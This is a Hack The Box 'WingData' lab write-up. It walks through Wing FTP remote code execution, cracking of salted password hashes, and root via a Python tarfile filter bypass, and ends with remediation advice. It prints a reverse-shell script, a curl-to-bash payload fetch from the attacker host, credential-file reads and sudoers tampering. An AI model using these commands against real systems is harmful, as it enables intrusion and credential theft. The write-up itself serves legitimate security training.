Back to writeups

Hack The Box Machines

HTB WingData Writeup

Linux writeup covering Wing FTP exposure, configuration recovery, credential analysis, and privilege escalation.

Date
Platform
Hack The Box
Category
Machine
Difficulty
Medium
#htb#linux#web#cve#privilege-escalation#recon

Machine Information

FieldValue
MachineWingData
PlatformHack The Box
Target IP[REDACTED_TARGET_IP]
OSDebian Linux
Initial FootholdWing FTP Server unauthenticated RCE
User PivotWingFTP user XML credential recovery
Privilege EscalationPython tarfile filter bypass via CVE-2025-4517
User Flag[REDACTED_FLAG]
Root Flag[REDACTED_FLAG]

Summary

WingData exposed only SSH and HTTP externally. The HTTP service redirected to wingdata.htb, where the main site leaked a second virtual host, ftp.wingdata.htb.

The second vhost was running Wing FTP Server Free Edition. The application was vulnerable to CVE-2025-47812, an unauthenticated null-byte/Lua injection vulnerability in Wing FTP Server’s web login flow. Exploiting it gave command execution as the wingftp service user.

From the Wing FTP configuration files, I recovered local user account XML files. The wacky WingFTP user hash was cracked using the known WingFTP salting format, giving SSH access as the Linux user wacky.

Privilege escalation was achieved through a sudo-permitted backup restore script:

/usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script used Python tarfile.extractall() with filter="data", which was exploitable through CVE-2025-4517 using the following public PoC:

https://github.com/AzureADTrent/CVE-2025-4517-POC

The exploit modified sudoers and granted wacky full sudo privileges, resulting in a root shell.


1. Reconnaissance

I first confirmed the target was alive:

ping [REDACTED_TARGET_IP]

Output:

64 bytes from [REDACTED_TARGET_IP]: icmp_seq=1 ttl=63 time=16.4 ms
64 bytes from [REDACTED_TARGET_IP]: icmp_seq=2 ttl=63 time=22.5 ms
64 bytes from [REDACTED_TARGET_IP]: icmp_seq=3 ttl=63 time=18.9 ms
64 bytes from [REDACTED_TARGET_IP]: icmp_seq=4 ttl=63 time=27.0 ms

The TTL value suggested a Linux target.

I created a working directory and set the target IP:

cd ~/Desktop/Hack\ The\ Box/Machines/WingData
export IP=[REDACTED_TARGET_IP]
mkdir -p scans enum loot

2. Port Scanning

I ran RustScan with default Nmap scripts and version detection:

rustscan -a $IP --ulimit 5000 -- -sV -sC -oA scans/rustscan-init

Open ports:

Open [REDACTED_TARGET_IP]:22
Open [REDACTED_TARGET_IP]:80

Nmap service output:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open  http    Apache httpd 2.4.66

The HTTP title showed a redirect:

Did not follow redirect to http://wingdata.htb/

I added the hostname to /etc/hosts:

echo "$IP wingdata.htb" | sudo tee -a /etc/hosts

A full TCP scan confirmed only ports 22 and 80 were externally exposed:

sudo nmap -p- --min-rate 5000 -Pn -oA scans/allports $IP

Output:

22/tcp open  ssh
80/tcp open  http

3. Web Enumeration

I enumerated the main web service:

whatweb http://wingdata.htb
curl -i http://wingdata.htb/
curl -s http://wingdata.htb/ | tee enum/index.html

The main page contained a link/reference to:

ftp.wingdata.htb

I added the second vhost:

echo "$IP ftp.wingdata.htb" | sudo tee -a /etc/hosts

Then I fingerprinted the new vhost:

whatweb http://ftp.wingdata.htb
curl -i http://ftp.wingdata.htb/

Output:

HTTP/1.1 200 HTTP OK
Server: Wing FTP Server(Free Edition)

The HTML redirected the browser to:

login.html

This confirmed the second vhost was a Wing FTP Server web client.


4. Wing FTP Server Enumeration

I checked the login page and common paths:

curl -s http://ftp.wingdata.htb/login.html | tee enum/ftp-login.html

Directory brute forcing showed common WingFTP static directories:

ffuf -u http://ftp.wingdata.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-o scans/ffuf-ftp-dirs.json

Interesting results:

css
plugins
language
images
include
help
icons

The server fingerprint and structure matched Wing FTP Server.


5. Initial Foothold - CVE-2025-47812

Vulnerability

The exposed Wing FTP Server was vulnerable to CVE-2025-47812.

This vulnerability affects Wing FTP Server versions before 7.4.4. The web interface mishandles null bytes in the username parameter. This allows injection of arbitrary Lua code into session files, which can then be executed by interacting with authenticated endpoints such as dir.html.

The vulnerable endpoint was:

/loginok.html

The exploit used a null byte in the username field and injected Lua code that executed system commands using io.popen().

PoC Used

I used Exploit-DB style PoC 52347.py.

Basic test:

python3 52347.py -u http://ftp.wingdata.htb

Output:

[*] Testing target: http://ftp.wingdata.htb
[+] http://ftp.wingdata.htb is vulnerable!

Command execution test:

python3 52347.py -u http://ftp.wingdata.htb -c 'id'

Output:

uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

The command execution context was the wingftp service account.

More enumeration:

python3 52347.py -u http://ftp.wingdata.htb -c 'pwd; uname -a; ls -la /home; cat /etc/passwd'

Output showed:

/opt/wftpserver
Linux wingdata 6.1.0-42-amd64 ...
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash

The interesting local user was:

wacky

6. Reverse Shell as wingftp

Direct reverse shell payloads caused timeout behavior, so I used a staged payload.

On Kali, I created rev.sh:

cd ~/Desktop/Hack\ The\ Box/Machines/WingData/loot

cat > rev.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/[REDACTED_VPN_IP]/4444 0>&1
EOF

python3 -m http.server 8000

In another terminal:

nc -lvnp 4444

Then I triggered the payload:

python3 52347.py -u http://ftp.wingdata.htb \
-c 'curl -s http://[REDACTED_VPN_IP]:8000/rev.sh | bash'

The exploit request timed out, but the reverse shell connected:

connect to [REDACTED_VPN_IP] from (UNKNOWN) [REDACTED_TARGET_IP]
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
wingftp@wingdata:/opt/wftpserver$

I confirmed access:

id

Output:

uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

7. WingFTP Configuration Enumeration

The Wing FTP installation was located at:

/opt/wftpserver

Directory listing:

ls

Output:

Data
License.txt
Log
lua
pid-wftpserver.pid
README
session
session_admin
version.txt
webadmin
webclient
wftpconsole
wftp_default_ssh.key
wftp_default_ssl.crt
wftp_default_ssl.key
wftpserver

I inspected administrator configuration:

cat /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml

Output:

<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
    <ADMIN>
        <Admin_Name>admin</Admin_Name>
        <Password>[REDACTED_HASH]</Password>
        <Type>0</Type>
        <Readonly>0</Readonly>
        <IsDomainAdmin>0</IsDomainAdmin>
    </ADMIN>
</ADMIN_ACCOUNTS>

I also inspected the domain settings:

cat /opt/wftpserver/Data/1/settings.xml

Important settings:

<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

This showed that Wing FTP password hashes used SHA-256 with the salt string:

WingFTP

8. User Account Discovery

I searched for WingFTP user XML files:

find Data -type f -maxdepth 4 -ls

Interesting files:

Data/1/users/maria.xml
Data/1/users/steve.xml
Data/1/users/wacky.xml
Data/1/users/anonymous.xml
Data/1/users/john.xml

I searched for passwords:

grep -Rni "Password" /opt/wftpserver/Data 2>/dev/null

Output:

/opt/wftpserver/Data/1/users/maria.xml:7:        <Password>[REDACTED_HASH]</Password>
/opt/wftpserver/Data/1/users/steve.xml:7:        <Password>[REDACTED_HASH]</Password>
/opt/wftpserver/Data/1/users/wacky.xml:7:        <Password>[REDACTED_HASH]</Password>
/opt/wftpserver/Data/1/users/anonymous.xml:7:        <Password>[REDACTED_HASH]</Password>
/opt/wftpserver/Data/1/users/john.xml:7:        <Password>[REDACTED_HASH]</Password>

The target user hash was:

wacky:[REDACTED_HASH]

The anonymous account was also useful because it had password disabled:

<UserName>anonymous</UserName>
<EnablePassword>0</EnablePassword>
<Password>[REDACTED_HASH]</Password>

9. Pivot to wacky

Modifying wacky.xml

Because the WingFTP user XML files were writable by wingftp, I modified wacky.xml and disabled password authentication for the WingFTP virtual user.

Backup:

cp /opt/wftpserver/Data/1/users/wacky.xml /tmp/wacky.xml.bak2

Patch:

sed -i 's#<EnablePassword>1</EnablePassword>#<EnablePassword>0</EnablePassword>#' \
/opt/wftpserver/Data/1/users/wacky.xml

Verification:

grep -n "UserName\|EnablePassword\|Password" /opt/wftpserver/Data/1/users/wacky.xml

Output:

4:        <UserName>wacky</UserName>
6:        <EnablePassword>0</EnablePassword>
7:        <Password>[REDACTED_HASH]</Password>

Testing login from Kali:

curl -i -s -X POST http://ftp.wingdata.htb/loginok.html \
-H 'Host: ftp.wingdata.htb' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username=wacky&password=' | grep -i 'Set-Cookie'

Output:

Set-Cookie: UID=[REDACTED_HASH]; HttpOnly

This confirmed the WingFTP wacky account could now log in without a password.

Cracking the Original wacky Hash

For Linux SSH access, I cracked the original wacky hash using SHA-256 with the WingFTP salt appended.

Cracking script:

cat > crack_wingftp.py <<'PY'
import hashlib, gzip, sys, os

target = "[REDACTED_HASH]"
salt = "WingFTP"
paths = [
    "/usr/share/wordlists/rockyou.txt",
    "/usr/share/wordlists/rockyou.txt.gz"
]

for path in paths:
    if not os.path.exists(path):
        continue
    opener = gzip.open if path.endswith(".gz") else open
    with opener(path, "rt", errors="ignore") as f:
        for line in f:
            pw = line.rstrip("\n")
            if hashlib.sha256((pw + salt).encode()).hexdigest() == target:
                print("[FOUND]", pw)
                sys.exit(0)
print("[!] Not found")
PY

python3 crack_wingftp.py

Output:

[FOUND] [REDACTED_PASSWORD]

Credentials:

wacky:[REDACTED_PASSWORD]

10. SSH as wacky

I used the cracked password to SSH into the machine:

ssh wacky@[REDACTED_TARGET_IP]

Password:

[REDACTED_PASSWORD]
[REDACTED_PASSWORD]

After login:

id
hostname
pwd
ls -la
cat ~/[REDACTED_FLAG_PATH]

Output:

uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
wingdata
/home/wacky

User flag:

[REDACTED_HASH]

11. Privilege Escalation Enumeration

I checked the interesting directory /opt/backup_clients:

ls -la /opt/backup_clients

Output:

drwxr-x--- 4 root wacky 4096 Jan 12 08:43 .
drwxr-xr-x 4 root root  4096 Feb  9 08:19 ..
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 backups
-rwxr-x--- 1 root wacky 2829 Jan 12 08:37 restore_backup_clients.py
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 restored_backups

The backups directory was writable by group wacky, and the restore script was readable/executable.

I checked sudo privileges:

sudo -l

Output:

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

This meant wacky could run the backup restore script as root.


12. Reviewing restore_backup_clients.py

Script:

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

The dangerous operation was:

tar.extractall(path=staging_dir, filter="data")

Normally, filter="data" is meant to mitigate classic tar path traversal. I first tested common tar exploitation techniques manually.

Failed Traversal Test

I attempted to write outside the extraction directory using ../../../../etc/sudoers.d/wackyroot.

The script blocked it:

[!] Error during extraction: '../../../../etc/sudoers.d/wackyroot' would be extracted to '/etc/sudoers.d/wackyroot', which is outside the destination

Failed SUID Bash Test

I attempted to extract a root-owned SUID bash binary:

cp /bin/bash /tmp/rootshell

The file extracted as root-owned but the SUID bit was stripped:

-rwxr-xr-x 1 root root 1265648 /opt/backup_clients/restored_backups/restore_suid/rootshell

Absolute hardlink and symlink attempts were also blocked:

[!] Error during extraction: 'rootlink' is a link to an absolute path

At this point, the usual TarSlip and SUID archive attacks were mitigated.


13. Privilege Escalation - CVE-2025-4517

Vulnerability

The target had Python 3.12.3:

/usr/local/bin/python3 --version

Output:

Python 3.12.3

The restore script used:

tar.extractall(path=staging_dir, filter="data")

This matched CVE-2025-4517, a Python tarfile vulnerability that allows arbitrary filesystem writes outside the extraction directory when extracting untrusted tar archives with filter="data" or filter="tar".

PoC Used

I used the following public PoC as requested:

https://github.com/AzureADTrent/CVE-2025-4517-POC

The PoC abuses a symlink and hardlink chain to bypass Python’s filter="data" extraction protection and write a sudoers entry.


14. Running the CVE-2025-4517 PoC

I already had the PoC available on the target as:

/tmp/CVE-2025-4517-POC.py

When trying to download directly from the target, DNS failed:

wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py

Output:

Resolving raw.githubusercontent.com failed: Temporary failure in name resolution.

So the PoC was transferred from Kali instead.

On the target, I ran:

cd /tmp
python3 CVE-2025-4517-POC.py

Output:

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999

[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

When prompted:

[?] Spawn root shell now? (y/n):

I selected:

y

This spawned a root shell:

root@wingdata:/tmp#

Verification:

id

Output:

uid=0(root) gid=0(root) groups=0(root)

Root flag:

cat /root/[REDACTED_FLAG_PATH]

Output:

[REDACTED_HASH]

15. Notes on Sudoers Side Effect

After exploitation, running sudo -l as root showed:

User root is not allowed to run sudo on wingdata.
root is not in the sudoers file.

This likely happened because the PoC overwrote or altered /etc/sudoers instead of safely appending a separate drop-in file.

However, this did not matter for the machine objective because a root shell had already been obtained and the root flag was readable.


16. Attack Chain

Full chain:

1. Port scan found SSH and HTTP.
2. HTTP redirected to wingdata.htb.
3. Main site exposed ftp.wingdata.htb.
4. ftp.wingdata.htb ran Wing FTP Server Free Edition.
5. Wing FTP Server was vulnerable to CVE-2025-47812.
6. CVE-2025-47812 gave unauthenticated RCE as wingftp.
7. WingFTP user XML files exposed salted SHA-256 hashes.
8. wacky hash was cracked as [REDACTED_PASSWORD].
9. SSH login as wacky succeeded.
10. wacky had sudo permission to run restore_backup_clients.py as root.
11. restore_backup_clients.py used tarfile.extractall(..., filter="data").
12. CVE-2025-4517 PoC bypassed tarfile filter protection.
13. PoC modified sudoers and granted wacky full sudo.
14. sudo /bin/bash produced root shell.
15. [REDACTED_FLAG_PATH] was captured.

17. Proof

User

id
cat /home/wacky/[REDACTED_FLAG_PATH]

Output:

uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
[REDACTED_HASH]

Root

id
cat /root/[REDACTED_FLAG_PATH]

Output:

uid=0(root) gid=0(root) groups=0(root)
[REDACTED_HASH]

18. Remediation

Wing FTP Server

Upgrade Wing FTP Server to version 7.4.4 or later to patch CVE-2025-47812.

Additional hardening:

Disable anonymous login if not required.
Restrict web client access to trusted IP ranges.
Monitor WingFTP session directories for injected Lua files.
Avoid running file transfer services with root privileges.

Python Tar Extraction

Patch Python to a version containing fixes for CVE-2025-4517.

Avoid extracting untrusted tar archives as root. Even with filter="data", additional validation should be implemented:

import os
import tarfile

def safe_extract(tar, path):
    base = os.path.abspath(path)

    for member in tar.getmembers():
        target = os.path.abspath(os.path.join(base, member.name))

        if not target.startswith(base + os.sep):
            raise Exception("Blocked path traversal")

        if member.issym() or member.islnk():
            raise Exception("Blocked symlink/hardlink")

        if member.isdev():
            raise Exception("Blocked device file")

    tar.extractall(path)

Sudo Rule

Avoid broad wildcard sudo rules like:

wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Instead:

Use least privilege.
Avoid running archive extraction as root.
Validate input files before extraction.
Use a dedicated low-privilege service account.
Use AppArmor/SELinux profiles for backup restore workflows.

19. Key Takeaways

This machine demonstrated three important issues:

1. Exposed management/file-transfer software can become the initial foothold.
2. Application configuration files often contain reusable credential material.
3. "Safe" extraction filters are not always safe when affected by implementation-level CVEs.

The most important vulnerability in the final root path was:

CVE-2025-4517 - Python tarfile filter bypass leading to arbitrary file write
PoC: https://github.com/AzureADTrent/CVE-2025-4517-POC

Authorized security practice only. These notes are for lab, CTF, and explicitly permitted environments.